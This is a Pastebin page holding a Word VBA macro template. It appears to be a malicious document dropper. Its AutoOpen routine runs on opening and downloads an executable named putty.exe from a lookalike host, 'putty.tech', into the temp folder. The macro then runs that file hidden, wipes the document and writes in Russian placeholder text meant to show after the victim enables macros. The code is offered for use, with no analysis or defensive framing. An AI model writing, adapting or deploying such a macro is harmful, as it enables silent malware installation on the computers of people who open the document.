Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #If VBA7 Then
- Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
- Private Declare PtrSafe Function PathFileExists Lib "shlwapi" Alias "PathFileExistsA" _
- (ByVal pszPath As String) As Long
- Private Declare PtrSafe Function GetTempPath Lib "kernel32" Alias "GetTempPathA" _
- (ByVal nBufferLength As Long, _
- ByVal lpBuffer As String) _
- As Long
- #Else
- Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
- Private Declare Function PathFileExists Lib "shlwapi" Alias "PathFileExistsA" _
- (ByVal pszPath As String) As Long
- Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" _
- (ByVal nBufferLength As Long, _
- ByVal lpBuffer As String) _
- As Long
- #End If
- Sub AutoOpen()
- Dim ret As Long
- Dim HTTPfile As String, LocalFile As String
- Dim sBuffer As String
- Dim sPath As String
- Dim lBufPath As Long
- sBuffer = Space(255)
- lBufPath = GetTempPath(255, sBuffer)
- sPath = Left$(sBuffer, lBufPath)
- HTTPfile = "https://putty.tech/~sgtatham/putty/latest/w32/putty.exe"
- LocalFile = sPath & "putty.exe"
- ret = URLDownloadToFile(0, HTTPfile, LocalFile, 0, 0)
- Dim CurDirBackup As String
- Shell LocalFile, vbHide
- Selection.WholeStory
- Selection.Delete Unit:=wdCharacter, Count:=1
- Selection.TypeText Text:="ВАША ПИСАНИНА, ЧТО ОТОБРАЗИТСЯ ПОСЛЕ ВКЛЮЧЕНИЯ МАКРОСА"
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment